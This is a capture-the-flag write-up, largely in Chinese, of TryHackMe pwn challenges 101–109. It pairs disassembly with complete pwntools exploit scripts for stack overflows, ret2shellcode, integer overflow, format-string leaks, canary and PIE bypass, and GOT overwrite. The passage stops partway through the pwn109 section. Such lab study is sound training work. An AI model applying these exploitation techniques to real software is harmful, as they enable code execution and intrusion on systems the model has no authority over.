- Buffer overflow
- Modify variable’s value
- Return to win
- Return to shellcode
- Integer Overflow
- Format string exploit
- Bypassing mitigations
- GOT overwrite
- Return to PLT
- Playing with ROP
pwn 101 – Buffer overflow
no stack canary 觀察得知 rbp-0x4 是 0x539,當 rbp-0x4 這段空間的值不是 0x539 時,會有 system(‘/bin/sh’) 可以 RCE,利用 gets 塞滿 rbp-0x40,順帶把 rbp-0x4 蓋過即可拿到 shell
pwndbg> disassemble main
Dump of assembler code for function main:
0x000000000000088e <+0>: push rbp
0x000000000000088f <+1>: mov rbp,rsp
0x0000000000000892 <+4>: sub rsp,0x40
0x0000000000000896 <+8>: mov DWORD PTR [rbp-0x4],0x539
0x000000000000089d <+15>: mov eax,0x0
0x00000000000008a2 <+20>: call 0x81a <setup>
0x00000000000008a7 <+25>: mov eax,0x0
0x00000000000008ac <+30>: call 0x87b <banner>
0x00000000000008b1 <+35>: lea rdi,[rip+0x208] # 0xac0
0x00000000000008b8 <+42>: call 0x6b0 <puts@plt>
0x00000000000008bd <+47>: lea rdi,[rip+0x2dc] # 0xba0
0x00000000000008c4 <+54>: call 0x6b0 <puts@plt>
0x00000000000008c9 <+59>: lea rax,[rbp-0x40]
0x00000000000008cd <+63>: mov rdi,rax
0x00000000000008d0 <+66>: mov eax,0x0
0x00000000000008d5 <+71>: call 0x6d0 <gets@plt>
0x00000000000008da <+76>: cmp DWORD PTR [rbp-0x4],0x539
0x00000000000008e1 <+83>: jne 0x8f9 <main+107>
0x00000000000008e3 <+85>: lea rdi,[rip+0x2e6] # 0xbd0
0x00000000000008ea <+92>: call 0x6b0 <puts@plt>
0x00000000000008ef <+97>: mov edi,0x539
0x00000000000008f4 <+102>: call 0x6f0 <exit@plt>
0x00000000000008f9 <+107>: lea rdi,[rip+0x318] # 0xc18
0x0000000000000900 <+114>: call 0x6b0 <puts@plt>
0x0000000000000905 <+119>: lea rdi,[rip+0x333] # 0xc3f
0x000000000000090c <+126>: call 0x6c0 <system@plt>
0x0000000000000911 <+131>: nop
0x0000000000000912 <+132>: leave
0x0000000000000913 <+133>: ret
End of assembler dump.
pwndbg> x/s 0xc3f
0xc3f: "/bin/sh"
Payload
from pwn import *
ip='10.10.101.156'
port=9001
r=remote(ip,port)
r.sendline(b'a'*0x40)
r.interactive()
pwn 102 – Modify variable’s value
初始 rbp-0x4 存 0xbadf00d , rbp-0x8 存 0xfee1dead , scanf 儲存的內容從 rbp-0x70 開始,其中 if rbp-0x4 改成 0xc0ff33、 rbp-0x8 改成 0xc0d3 可以拿到 shell ,從 0x70 開始往上塞 padding 會先遇到 rbp-0x8 所以先送 0xc0d3 再送 0xc0ff33,因為這兩個值都是占 4 bytes 所以用 p32() 送。
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000000008fe <+0>: push rbp
0x00000000000008ff <+1>: mov rbp,rsp
0x0000000000000902 <+4>: sub rsp,0x70
0x0000000000000906 <+8>: mov eax,0x0
0x000000000000090b <+13>: call 0x88a <setup>
0x0000000000000910 <+18>: mov eax,0x0
0x0000000000000915 <+23>: call 0x8eb <banner>
0x000000000000091a <+28>: mov DWORD PTR [rbp-0x4],0xbadf00d
0x0000000000000921 <+35>: mov DWORD PTR [rbp-0x8],0xfee1dead
0x0000000000000928 <+42>: mov edx,DWORD PTR [rbp-0x8]
0x000000000000092b <+45>: mov eax,DWORD PTR [rbp-0x4]
0x000000000000092e <+48>: mov esi,eax
0x0000000000000930 <+50>: lea rdi,[rip+0x212] # 0xb49
0x0000000000000937 <+57>: mov eax,0x0
0x000000000000093c <+62>: call 0x730 <printf@plt>
0x0000000000000941 <+67>: lea rax,[rbp-0x70]
0x0000000000000945 <+71>: mov rsi,rax
0x0000000000000948 <+74>: lea rdi,[rip+0x217] # 0xb66
0x000000000000094f <+81>: mov eax,0x0
0x0000000000000954 <+86>: call 0x750 <__isoc99_scanf@plt>
0x0000000000000959 <+91>: cmp DWORD PTR [rbp-0x4],0xc0ff33
0x0000000000000960 <+98>: jne 0x992 <main+148>
0x0000000000000962 <+100>: cmp DWORD PTR [rbp-0x8],0xc0d3
0x0000000000000969 <+107>: jne 0x992 <main+148>
0x000000000000096b <+109>: mov edx,DWORD PTR [rbp-0x8]
0x000000000000096e <+112>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000000971 <+115>: mov esi,eax
0x0000000000000973 <+117>: lea rdi,[rip+0x1ef] # 0xb69
0x000000000000097a <+124>: mov eax,0x0
0x000000000000097f <+129>: call 0x730 <printf@plt>
0x0000000000000984 <+134>: lea rdi,[rip+0x1f4] # 0xb7f
0x000000000000098b <+141>: call 0x720 <system@plt>
0x0000000000000990 <+146>: jmp 0x9a8 <main+170>
0x0000000000000992 <+148>: lea rdi,[rip+0x1ef] # 0xb88
0x0000000000000999 <+155>: call 0x710 <puts@plt>
0x000000000000099e <+160>: mov edi,0x539
0x00000000000009a3 <+165>: call 0x760 <exit@plt>
0x00000000000009a8 <+170>: leave
0x00000000000009a9 <+171>: ret
End of assembler dump.
pwndbg> x/s 0xb7f
0xb7f: "/bin/sh"
Payload
from pwn import *
ip='10.10.101.156'
port=9002
r=remote(ip,port)
r.sendline(b'a'*104 + p32(0xc0d3) + p32(0xc0ff33))
r.interactive()
pwn 103 – Return to win
直接跑起來長這樣
┌──(kali㉿kali)-[~/pwn]
└─$ ./pwn103-1644300337872.pwn103
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
[THM Discord Server]
➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣 General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨ Choose the channel:
其中選項 3 的 General function 中的 strcmp 可以 overflow,scanf 輸入的值會存在 rbp-0x20 在加上 rbp 的 8 bytes 當作 padding
pwndbg> disassemble general
Dump of assembler code for function general:
0x00000000004012be <+0>: push rbp
0x00000000004012bf <+1>: mov rbp,rsp
0x00000000004012c2 <+4>: sub rsp,0x20
0x00000000004012c6 <+8>: lea rax,[rip+0x10dd] # 0x4023aa
0x00000000004012cd <+15>: mov rdi,rax
0x00000000004012d0 <+18>: call 0x401040 <puts@plt>
0x00000000004012d5 <+23>: lea rax,[rip+0x10e4] # 0x4023c0
0x00000000004012dc <+30>: mov rdi,rax
0x00000000004012df <+33>: call 0x401040 <puts@plt>
0x00000000004012e4 <+38>: lea rax,[rip+0x10fd] # 0x4023e8
0x00000000004012eb <+45>: mov rdi,rax
0x00000000004012ee <+48>: call 0x401040 <puts@plt>
0x00000000004012f3 <+53>: lea rax,[rip+0x111e] # 0x402418
0x00000000004012fa <+60>: mov rdi,rax
0x00000000004012fd <+63>: call 0x401040 <puts@plt>
0x0000000000401302 <+68>: lea rax,[rip+0x1143] # 0x40244c
0x0000000000401309 <+75>: mov rdi,rax
0x000000000040130c <+78>: mov eax,0x0
0x0000000000401311 <+83>: call 0x401060 <printf@plt>
0x0000000000401316 <+88>: lea rax,[rbp-0x20]
0x000000000040131a <+92>: mov rsi,rax
0x000000000040131d <+95>: lea rax,[rip+0x1138] # 0x40245c
0x0000000000401324 <+102>: mov rdi,rax
0x0000000000401327 <+105>: mov eax,0x0
0x000000000040132c <+110>: call 0x4010a0 <__isoc99_scanf@plt>
0x0000000000401331 <+115>: lea rax,[rbp-0x20]
0x0000000000401335 <+119>: lea rdx,[rip+0x1123] # 0x40245f
0x000000000040133c <+126>: mov rsi,rdx
0x000000000040133f <+129>: mov rdi,rax
0x0000000000401342 <+132>: call 0x401080 <strcmp@plt>
0x0000000000401347 <+137>: test eax,eax
0x0000000000401349 <+139>: jne 0x401366 <general+168>
0x000000000040134b <+141>: lea rax,[rip+0x1111] # 0x402463
0x0000000000401352 <+148>: mov rdi,rax
0x0000000000401355 <+151>: call 0x401040 <puts@plt>
0x000000000040135a <+156>: mov eax,0x0
0x000000000040135f <+161>: call 0x40158c <main>
0x0000000000401364 <+166>: jmp 0x401375 <general+183>
0x0000000000401366 <+168>: lea rax,[rip+0x1112] # 0x40247f
0x000000000040136d <+175>: mov rdi,rax
0x0000000000401370 <+178>: call 0x401040 <puts@plt>
0x0000000000401375 <+183>: nop
0x0000000000401376 <+184>: leave
0x0000000000401377 <+185>: ret
在這支 ELF 有個 admins_only 的 function 可以 RCE,padding 塞完後,把 ret 的位置蓋成這 function 的 address
pwndbg> disassemble admins_only
Dump of assembler code for function admins_only:
0x0000000000401554 <+0>: push rbp
0x0000000000401555 <+1>: mov rbp,rsp
0x0000000000401558 <+4>: sub rsp,0x10
0x000000000040155c <+8>: lea rax,[rip+0x1d04] # 0x403267
0x0000000000401563 <+15>: mov rdi,rax
0x0000000000401566 <+18>: call 0x401040 <puts@plt>
0x000000000040156b <+23>: lea rax,[rip+0x1d0a] # 0x40327c
0x0000000000401572 <+30>: mov rdi,rax
0x0000000000401575 <+33>: call 0x401040 <puts@plt>
0x000000000040157a <+38>: lea rax,[rip+0x1d0e] # 0x40328f
0x0000000000401581 <+45>: mov rdi,rax
0x0000000000401584 <+48>: call 0x401050 <system@plt>
0x0000000000401589 <+53>: nop
0x000000000040158a <+54>: leave
0x000000000040158b <+55>: ret
End of assembler dump.
pwndbg> x/s 0x40328f
0x40328f: "/bin/sh"
Payload
from pwn import *
#r=process('./pwn103-1644300337872.pwn103')
ip='10.10.100.188'
port=9003
r=remote(ip,port)
r.sendline(b'3')
r.sendline(b'a'*0x28 + p64(0x401555))
r.interactive()
pwn 104 – Return to shellcode
保護全關的一題,觀察得知 offset 是 80 (rbp-0x50) +8 (rbp) ,先填入 shellcode 在將 ret addr 填為 shellcode 所在的位置
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004011cd <+0>: push rbp
0x00000000004011ce <+1>: mov rbp,rsp
0x00000000004011d1 <+4>: sub rsp,0x50
0x00000000004011d5 <+8>: mov eax,0x0
0x00000000004011da <+13>: call 0x401156 <setup>
0x00000000004011df <+18>: mov eax,0x0
0x00000000004011e4 <+23>: call 0x4011b7 <banner>
0x00000000004011e9 <+28>: lea rax,[rip+0xf30] # 0x402120
0x00000000004011f0 <+35>: mov rdi,rax
0x00000000004011f3 <+38>: call 0x401030 <puts@plt>
0x00000000004011f8 <+43>: lea rax,[rip+0xf49] # 0x402148
0x00000000004011ff <+50>: mov rdi,rax
0x0000000000401202 <+53>: call 0x401030 <puts@plt>
0x0000000000401207 <+58>: lea rax,[rip+0xf62] # 0x402170
0x000000000040120e <+65>: mov rdi,rax
0x0000000000401211 <+68>: call 0x401030 <puts@plt>
0x0000000000401216 <+73>: lea rax,[rbp-0x50]
0x000000000040121a <+77>: mov rsi,rax
0x000000000040121d <+80>: lea rax,[rip+0xf6c] # 0x402190
0x0000000000401224 <+87>: mov rdi,rax
0x0000000000401227 <+90>: mov eax,0x0
0x000000000040122c <+95>: call 0x401040 <printf@plt>
0x0000000000401231 <+100>: lea rax,[rbp-0x50]
0x0000000000401235 <+104>: mov edx,0xc8
0x000000000040123a <+109>: mov rsi,rax
0x000000000040123d <+112>: mov edi,0x0
0x0000000000401242 <+117>: mov eax,0x0
0x0000000000401247 <+122>: call 0x401050 <read@plt>
0x000000000040124c <+127>: nop
0x000000000040124d <+128>: leave
=> 0x000000000040124e <+129>: ret
Payload
from pwn import *
context.arch = 'amd64'
io=process('./pwn104-1644300377109.pwn104')
io.recvlines(9)
io.recvuntil(b"I'm waiting for you at ")
addr=int(io.recv().strip(),16)
shellcode = asm(shellcraft.sh())
io.send(shellcode.ljust(88,b'a')+p64(addr))
io.interactive()
pwn 105 – Integer Overflow
IDA decompile
必須滿足題目(v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 才能有機會跳到/bin/sh意思是v5、v6必須要是小於0x80000000也就是小於等於C裡面int最大值2147483647,但是要需要v5+v6也就是v7大於等於0x80000000才會(v7 & 0x80000000) != 0
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v5; // [rsp+Ch] [rbp-14h] BYREF
unsigned int v6; // [rsp+10h] [rbp-10h] BYREF
unsigned int v7; // [rsp+14h] [rbp-Ch]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts("-------=[ BAD INTEGERS ]=-------");
puts("|-< Enter two numbers to add >-|\n");
printf("]>> ");
__isoc99_scanf("%d", &v5);
printf("]>> ");
__isoc99_scanf("%d", &v6);
v7 = v5 + v6;
if ( (v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 )
{
printf("\n[o.O] Hmmm... that was a Good try!\n");
}
else if ( (v7 & 0x80000000) != 0 )
{
printf("\n[*] C: %d", v7);
puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
system("/bin/sh");
}
else
{
printf("\n[*] ADDING %d + %d", v5, v6);
printf("\n[*] RESULT: %d\n", v7);
}
return v8 - __readfsqword(0x28u);
}
v5填2147483647、v6填1,讓v5+v6(v7)大於int最大值
Payload
from pwn import *
ip='10.10.12.233'
port=9005
r=remote(ip,port)
r.recvlines(9)
r.sendlineafter(']>>',b'2147483647')
r.sendlineafter(']>>',b'1')
r.interactive()
pwn 106 – Format string exploit
printf() 的地方有 fmt vuln
pwndbg> disassemble main
Dump of assembler code for function main:
0x000000000000123e <+0>: push rbp
0x000000000000123f <+1>: mov rbp,rsp
0x0000000000001242 <+4>: sub rsp,0x60
0x0000000000001246 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000000124f <+17>: mov QWORD PTR [rbp-0x8],rax
0x0000000000001253 <+21>: xor eax,eax
0x0000000000001255 <+23>: mov eax,0x0
0x000000000000125a <+28>: call 0x1179 <setup>
0x000000000000125f <+33>: mov eax,0x0
0x0000000000001264 <+38>: call 0x1201 <banner>
0x0000000000001269 <+43>: movabs rax,0x5b5858587b4d4854
0x0000000000001273 <+53>: movabs rdx,0x6465725f67616c66
0x000000000000127d <+63>: mov QWORD PTR [rbp-0x60],rax
0x0000000000001281 <+67>: mov QWORD PTR [rbp-0x58],rdx
0x0000000000001285 <+71>: movabs rax,0x58585d6465746361
0x000000000000128f <+81>: mov QWORD PTR [rbp-0x50],rax
0x0000000000001293 <+85>: mov WORD PTR [rbp-0x48],0x7d58
0x0000000000001299 <+91>: mov BYTE PTR [rbp-0x46],0x0
0x000000000000129d <+95>: lea rax,[rip+0xe75] # 0x2119
0x00000000000012a4 <+102>: mov rdi,rax
0x00000000000012a7 <+105>: call 0x1030 <puts@plt>
0x00000000000012ac <+110>: lea rax,[rip+0xe85] # 0x2138
0x00000000000012b3 <+117>: mov rdi,rax
0x00000000000012b6 <+120>: mov eax,0x0
0x00000000000012bb <+125>: call 0x1050 <printf@plt>
0x00000000000012c0 <+130>: lea rax,[rbp-0x40]
0x00000000000012c4 <+134>: mov edx,0x32
0x00000000000012c9 <+139>: mov rsi,rax
0x00000000000012cc <+142>: mov edi,0x0
0x00000000000012d1 <+147>: mov eax,0x0
0x00000000000012d6 <+152>: call 0x1060 <read@plt>
0x00000000000012db <+157>: lea rax,[rip+0xe8f] # 0x2171
0x00000000000012e2 <+164>: mov rdi,rax
0x00000000000012e5 <+167>: mov eax,0x0
0x00000000000012ea <+172>: call 0x1050 <printf@plt>
0x00000000000012ef <+177>: lea rax,[rbp-0x40]
0x00000000000012f3 <+181>: mov rdi,rax
0x00000000000012f6 <+184>: mov eax,0x0
0x00000000000012fb <+189>: call 0x1050 <printf@plt>
0x0000000000001300 <+194>: nop
0x0000000000001301 <+195>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001305 <+199>: sub rax,QWORD PTR fs:0x28
0x000000000000130e <+208>: je 0x1315 <main+215>
0x0000000000001310 <+210>: call 0x1040 <__stack_chk_fail@plt>
0x0000000000001315 <+215>: leave
0x0000000000001316 <+216>: ret
用 pwndbg 驗證 flag 有存在 stack 上
pwndbg> r
Starting program: /home/kali/pwn/pwn106-user-1644300441063.pwn106-user
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000555555555242 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────
RAX 0x55555555523e (main) ◂— push rbp
RBX 0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
RCX 0x7ffff7f95680 (__exit_funcs) —▸ 0x7ffff7f97000 (initial) ◂— 0
RDX 0x7fffffffde68 —▸ 0x7fffffffe1fb ◂— 'COLORFGBG=15;0'
RDI 1
RSI 0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
R8 0x555555555380 (__libc_csu_fini) ◂— ret
R9 0x7ffff7fcbc80 (_dl_fini) ◂— push rbp
R10 0x7fffffffda80 ◂— 0x800000
R11 0x206
R12 0
R13 0x7fffffffde68 —▸ 0x7fffffffe1fb ◂— 'COLORFGBG=15;0'
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
R15 0
RBP 0x7fffffffdd40 ◂— 1
RSP 0x7fffffffdd40 ◂— 1
RIP 0x555555555242 (main+4) ◂— sub rsp, 0x60
────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────
► 0x555555555242 <main+4> sub rsp, 0x60 RSP => 0x7fffffffdce0 (0x7fffffffdd40 - 0x60)
0x555555555246 <main+8> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7dab768] => 0x8d09028e828a9200
0x55555555524f <main+17> mov qword ptr [rbp - 8], rax [0x7fffffffdd38] <= 0x8d09028e828a9200
0x555555555253 <main+21> xor eax, eax EAX => 0
0x555555555255 <main+23> mov eax, 0 EAX => 0
0x55555555525a <main+28> call setup <setup>
0x55555555525f <main+33> mov eax, 0 EAX => 0
0x555555555264 <main+38> call banner <banner>
0x555555555269 <main+43> movabs rax, 0x5b5858587b4d4854 RAX => 0x5b5858587b4d4854 ('THM{XXX[')
0x555555555273 <main+53> movabs rdx, 0x6465725f67616c66 RDX => 0x6465725f67616c66 ('flag_red')
0x55555555527d <main+63> mov qword ptr [rbp - 0x60], rax
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdd40 ◂— 1
01:0008│+008 0x7fffffffdd48 —▸ 0x7ffff7dd7ca8 (__libc_start_call_main+120) ◂— mov edi, eax
02:0010│+010 0x7fffffffdd50 —▸ 0x7fffffffde40 —▸ 0x7fffffffde48 ◂— 0x38 /* '8' */
03:0018│+018 0x7fffffffdd58 —▸ 0x55555555523e (main) ◂— push rbp
04:0020│+020 0x7fffffffdd60 ◂— 0x155554040
05:0028│+028 0x7fffffffdd68 —▸ 0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
06:0030│+030 0x7fffffffdd70 —▸ 0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
07:0038│+038 0x7fffffffdd78 ◂— 0xd23b59c484279e34
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► 0 0x555555555242 main+4
1 0x7ffff7dd7ca8 __libc_start_call_main+120
2 0x7ffff7dd7d65 __libc_start_main+133
3 0x5555555550ba _start+42
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
Payload
from pwn import *
r=remote('10.10.125.41',9006)
#r=process('/mnt/d/Users/cheng/Downloads/pwn106-user-1644300441063.pwn106-user')
r.recvlines(7)
r.sendline(b"%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p")
r.recvline()
response = r.recvline().decode().strip().replace('Thanks ', '').replace('0x','').split(',')
for i in range(7):
print(bytes.fromhex(response[i]).decode()[::-1],end='')
print()
r.close()
pwn 107 – Bypassing mitigations
這題保護全開,一樣有 fmt & bof 且有給可以 RCE 的 function 但需要 leak canary & pie base
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000000992 <+0>: push rbp
0x0000000000000993 <+1>: mov rbp,rsp
0x0000000000000996 <+4>: sub rsp,0x40
0x000000000000099a <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000009a3 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000009a7 <+21>: xor eax,eax
0x00000000000009a9 <+23>: mov eax,0x0
0x00000000000009ae <+28>: call 0x88a <setup>
0x00000000000009b3 <+33>: mov eax,0x0
0x00000000000009b8 <+38>: call 0x912 <banner>
0x00000000000009bd <+43>: lea rdi,[rip+0x2a4] # 0xc68
0x00000000000009c4 <+50>: call 0x710 <puts@plt>
0x00000000000009c9 <+55>: lea rdi,[rip+0x2b8] # 0xc88
0x00000000000009d0 <+62>: call 0x710 <puts@plt>
0x00000000000009d5 <+67>: lea rdi,[rip+0x2d4] # 0xcb0
0x00000000000009dc <+74>: call 0x710 <puts@plt>
0x00000000000009e1 <+79>: lea rdi,[rip+0x318] # 0xd00
0x00000000000009e8 <+86>: call 0x710 <puts@plt>
0x00000000000009ed <+91>: lea rdi,[rip+0x344] # 0xd38
0x00000000000009f4 <+98>: mov eax,0x0
0x00000000000009f9 <+103>: call 0x740 <printf@plt>
0x00000000000009fe <+108>: lea rax,[rbp-0x40]
0x0000000000000a02 <+112>: mov edx,0x14
0x0000000000000a07 <+117>: mov rsi,rax
0x0000000000000a0a <+120>: mov edi,0x0
0x0000000000000a0f <+125>: mov eax,0x0
0x0000000000000a14 <+130>: call 0x750 <read@plt>
0x0000000000000a19 <+135>: lea rdi,[rip+0x338] # 0xd58
0x0000000000000a20 <+142>: mov eax,0x0
0x0000000000000a25 <+147>: call 0x740 <printf@plt>
0x0000000000000a2a <+152>: lea rax,[rbp-0x40]
0x0000000000000a2e <+156>: mov rdi,rax
0x0000000000000a31 <+159>: mov eax,0x0
0x0000000000000a36 <+164>: call 0x740 <printf@plt>
0x0000000000000a3b <+169>: lea rdi,[rip+0x346] # 0xd88
0x0000000000000a42 <+176>: call 0x710 <puts@plt>
0x0000000000000a47 <+181>: lea rdi,[rip+0x36a] # 0xdb8
0x0000000000000a4e <+188>: call 0x710 <puts@plt>
0x0000000000000a53 <+193>: lea rax,[rbp-0x20]
0x0000000000000a57 <+197>: mov edx,0x200
0x0000000000000a5c <+202>: mov rsi,rax
0x0000000000000a5f <+205>: mov edi,0x0
0x0000000000000a64 <+210>: mov eax,0x0
0x0000000000000a69 <+215>: call 0x750 <read@plt>
0x0000000000000a6e <+220>: nop
0x0000000000000a6f <+221>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000a73 <+225>: xor rax,QWORD PTR fs:0x28
0x0000000000000a7c <+234>: je 0xa83 <main+241>
0x0000000000000a7e <+236>: call 0x720 <__stack_chk_fail@plt>
0x0000000000000a83 <+241>: leave
0x0000000000000a84 <+242>: ret
Payload
fuzzing
canary 的特色是 00 結尾,這裡抓到的位置是 13 ; 接著找 main static offset 是 992 結尾的,local 跑的結果是 17,但 remote 是 19
from pwn import *
for i in range(6, 25):
#p = process('./pwn107-1644307530397.pwn107')
p=remote('10.48.178.31',9007)
p.sendlineafter(b"streak? ", f"%{i}$p".encode())
p.recvuntil(b"current streak: ")
print(f"{i}: {p.recvline().strip().decode()}")
p.close()
exploit
用 main 的位置去找,求得 PIE base = runtime address – static offset ; 以及取得可以 RCE function 的位置
pwndbg> p main
$1 = {<text variable, no debug info>} 0x555555400992 <main>
pwndbg> p get_streak
$2 = {<text variable, no debug info>} 0x55555540094c <get_streak>
在第二次 read 時,原變數大小是 24 但是可以 read 0x200 利用此處 overflow ,再加上 leak canary & 8 bytes padding 蓋過 rbp ,接著在 ret 的地方填入 RCE function
from pwn import *
io=remote('10.48.176.242',9007)
#io=process('./pwn107-1644307530397.pwn107')
io.recvlines(10)
io.sendline(b'%13$p,%19$p')
shell_offset=0x94d
main_offset=0x992
io.recvline()
io.recvuntil(b'Your current streak: ')
leak = io.recvline().decode().strip().split(',')
canary = int(leak[0], 16)
leakedpie = int(leak[1], 16)
log.success(f'canary {hex(canary)} , pie base {hex(leakedpie-main_offset)}')
target=leakedpie-main_offset+shell_offset
io.sendline(b'a'*24+p64(canary)+b'a'*8+p64(target))
io.interactive()
pwn 108 – GOT overwrite
Partial RELRO & No PIE 且有 RCE function holidays,觀察程式得知在第二次輸入時有 fmt vuln ,可以利用第一次輸入時填入 holidays address ,第二次輸入時利用 fmt 將 puts got 改成 holidays address
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-90h] BYREF
char format[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+88h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts(aThmUniversity);
puts(&byte_402198);
printf("\n=[Your name]: ");
read(0, buf, 0x12u);
printf("=[Your Reg No]: ");
read(0, format, 0x64u);
puts("\n=[ STUDENT PROFILE ]=");
printf("Name : %s", buf);
printf("Register no : ");
printf(format);
printf("Institue : THM");
puts("\nBranch : B.E (Binary Exploitation)\n");
puts(
"\n"
" =[ EXAM SCHEDULE ]= \n"
" --------------------------------------------------------\n"
"| Date | Exam | FN/AN |\n"
"|--------------------------------------------------------\n"
"| 1/2/2022 | PROGRAMMING IN ASSEMBLY | FN |\n"
"|--------------------------------------------------------\n"
"| 3/2/2022 | DATA STRUCTURES | FN |\n"
"|--------------------------------------------------------\n"
"| 3/2/2022 | RETURN ORIENTED PROGRAMMING | AN |\n"
"|--------------------------------------------------------\n"
"| 7/2/2022 | SCRIPTING WITH PYTHON | FN |\n"
" --------------------------------------------------------");
return v7 - __readfsqword(0x28u);
}
Payload
fuzzing
fuzzing 結果 %6$p %10$p 皆可讀取到第一次輸入時的 8 個 b
from pwn import *
for i in range(6,25):
io=process('./pwn108-1644300489260.pwn108')
io.sendlineafter(b':',b'bbbbbbbb')
io.sendlineafter(b':',f'aaaaaaaa%{i}$p'.encode())
io.recvlines(3)
log.info(f"{i} {io.recvline().split()[3]}")
exploit
在 pwndbg 找到 puts got & holiday 位置後,透過 %<holidays>c 增加 printf 的輸出字元計數,再利用 %6$lln 將累計值寫入第六個位置的值所指向的記憶體位址,也就是將第一次輸入的值所指向的位置改成 holidays 的值
from pwn import *
#io=process('./pwn108-1644300489260.pwn108')
io=remote('10.49.168.146',9008)
puts_got=0x404018
holidays=0x0040123b
io.sendlineafter(b':',p64(puts_got))
io.sendlineafter(b'No]:',b'%'+str(holidays).encode()+b'c%6$lln')
io.interactive()
script kiddie version
直接利用 fmtstr_payload 將 puts got 改成 holidays
from pwn import *
context.arch='amd64'
io=process('./pwn108-1644300489260.pwn108')
elf=ELF('./pwn108-1644300489260.pwn108')
#io=remote('10.49.168.146',9008)
puts_got=elf.got['puts']
holidays=elf.symbols['holidays']
io.sendlineafter(b':',b'a')
payload=fmtstr_payload(10,{puts_got:holidays})
io.sendlineafter(b'No]:',payload)
io.interactive()
pwn 109 – Return to PLT
Partial RELRO & No canary & No PIE 有 gets 可以 overflow
stage 1 : 將 puts_got 放入 rdi register , puts_plt call puts function print puts_got 指向的 real libc address , repeat 3 times leak puts got ,gets got , setvbuf got 有了這些後就可以利用 https://libc.rip/ 找到那隻 binary 跑的 libc 是啥
stage 2 : 有了 libc 後就能打 ret2libc 了 , libc base = puts real libc addr – puts got offset , 先 overflow 後串 ROP
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004011f2 <+0>: endbr64
0x00000000004011f6 <+4>: push rbp
0x00000000004011f7 <+5>: mov rbp,rsp
=> 0x00000000004011fa <+8>: sub rsp,0x20
0x00000000004011fe <+12>: mov eax,0x0
0x0000000000401203 <+17>: call 0x401176 <setup>
0x0000000000401208 <+22>: mov eax,0x0
0x000000000040120d <+27>: call 0x4011db <banner>
0x0000000000401212 <+32>: lea rdi,[rip+0xf07] # 0x402120
0x0000000000401219 <+39>: call 0x401060 <puts@plt>
0x000000000040121e <+44>: lea rax,[rbp-0x20]
0x0000000000401222 <+48>: mov rdi,rax
0x0000000000401225 <+51>: mov eax,0x0
